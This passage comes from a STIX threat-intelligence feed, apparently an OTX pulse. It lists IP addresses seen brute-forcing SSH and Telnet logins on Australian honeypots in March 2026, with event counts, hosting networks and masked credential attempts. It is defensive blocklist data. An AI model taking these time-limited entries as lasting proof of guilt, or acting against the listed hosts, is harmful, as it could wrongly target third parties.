      "id": "indicator--bd0c72df-9943-4a1a-a326-c07067dc800f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.27.36.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 6****1, A*******3, C**********!.",
      "id": "indicator--de3e32e3-bc74-4c41-9576-06e56b05be86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.26.39.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e20e4061-7f66-4af2-83e5-4c9dcf5f4c2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.155.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2687. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r, a****e, a*****e, a**********p. Passwords observed (masked): 1****6, 1**4, ***, 1******8, 3***********4.",
      "id": "indicator--7336f9f2-bc5d-4a39-9215-0a31a5137835",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.191.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 244. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r, a*****e, a****e. Passwords observed (masked): 1****6, P******d, l*****n, p******d, p******d.",
      "id": "indicator--0480c052-7a13-4080-b914-7853eb073ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.138.25.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--f0b9add7-e029-4396-935a-d7d31a1df2fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********d, A*******3, H******6.",
      "id": "indicator--9bfe6493-2d5c-4808-a1bc-8cf0e25547fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.249.87.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 4618. Organisation(s): Internet Thailand Company Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, S********3.",
      "id": "indicator--f8aab748-62fe-45bf-97da-ca74269246e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.150.107.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 22612. Organisation(s): Namecheap, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******/, 3***********4, 3**********4, A******4, S********3.",
      "id": "indicator--87e32340-ec65-4f84-98eb-1e0ae32dc959",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.74.85.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd.",
      "id": "indicator--25035762-50be-4039-b1cd-eb1da13ad590",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.211.122.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 6******M, Z******6, a******4.",
      "id": "indicator--6186a899-6ae6-44e4-98ab-6f688e625ce1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.197.186.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 199. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********d, A*******3, H******6.",
      "id": "indicator--e765b85d-d3b9-44a2-95e4-ce72be97f10c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.233.86.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 6****1, 7******., H*********4.",
      "id": "indicator--417f2797-a19f-49a3-ae0c-cf27b399d092",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.207.198.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, S********3, a********., p*******!, r*****3.",
      "id": "indicator--1dab510c-8557-4a3c-aa76-73d0dc1eb0e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.207.245.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway S.a.s.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******A, A*******c, A*******6.",
      "id": "indicator--067bd8ee-ed50-46c9-946c-a34c3e380127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.158.120.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******?, 1*******E, 3***********4, 3**********4, W*******1.",
      "id": "indicator--e166eaa1-24b5-4527-9d3f-03be3515a220",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.87.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net.",
      "id": "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48011. Organisation(s): Turunc Smart Bilgisayar Teknoloji Ve Dis Ticaret Limited Sirketi. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A******A, A*******c, A*******6.",
      "id": "indicator--bc41f78b-0ef7-4f0d-bca1-837edd274530",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.22.17.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, W*********3, a*****a, a*******c.",
      "id": "indicator--b664707c-ce5d-4a7c-a95b-90ce0f5efe90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--18c273d1-6401-4706-8bee-ad2583ffedb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.212.186.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*******c, **, s******n.",
      "id": "indicator--272e93d4-a93c-484c-80c2-3cba71d903ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.174.211.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet.",
      "id": "indicator--0d2439b7-03fc-4157-a3a3-e0c086860dac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.150.28.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 132335. Organisation(s): LEAPSWITCH NETWORKS PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*******c, a******1, a***0.",
      "id": "indicator--d797f60d-55ab-4941-8ac2-46116d682bc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.208.141.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*******6, P*********#, Q******$.",
      "id": "indicator--a42a1185-1dc3-4857-bc2d-689c7ce29bcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.248.104.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262794. Organisation(s): VERO S.A. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******X, 3***********4, 3**********4, A********, K******6.",
      "id": "indicator--c75e2103-802f-4000-84d7-e46ac4b1cc60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.76.120.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 41. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): g****b, n*****y, r**t, t******r, u***1. Passwords observed (masked): 1****6, g****b, n*****y, r******t, t******r.",
      "id": "indicator--8a42017a-a280-4a1a-8995-9974850df39e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.220.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--61141ba2-ce23-4802-852f-e026b312f911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.216.189.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 37613. Organisation(s): Dolphin-Telecom-AS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**************V, !******1, 1*********y, 3***********4, 3**********4.",
      "id": "indicator--86ede977-669f-470f-96d0-fe862c8e63d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.242.115.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 37613. Organisation(s): Dolphin-Telecom-AS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**************V, !******1, 1*********y, 3***********4, 3**********4.",
      "id": "indicator--8bc9c4cc-c10f-4949-9b7a-4396b8c10385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.242.115.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 209693. Organisation(s): Oc Networks Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**************V, !******1, 1*********y, 3***********4, 3**********4.",
      "id": "indicator--d887d3dd-e0ad-4ef3-9353-a1033a24b2a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.188.83.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: PL. ASN(s): 51290. Organisation(s): Hosteam S.c. Tomasz Groszewski Bartosz Waszak Lukasz Groszewski.",
      "id": "indicator--7001eabf-5840-40fb-b29a-ad9877f63cd0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.206.26.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T20:15:06.000Z",
      "valid_until": "2026-04-02T20:15:05.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 3***********4, 3**********4, P********8, P*************@.",
      "id": "indicator--a2fafc88-5ba4-410a-bf50-ffb29624e23c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.50.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 199. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !**********y, 1******2, A*******7.",
      "id": "indicator--66193f7e-a616-40e7-9a60-473220ebe6fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T21:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T21:15:13.000Z",
      "valid_until": "2026-04-02T21:15:11.000Z"
    },
    {
      "created": "2026-03-01T21:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--f104760d-860e-4e5c-85b4-52a5e8f9972f",
      "labels": [
        "bruteforce"
      ],
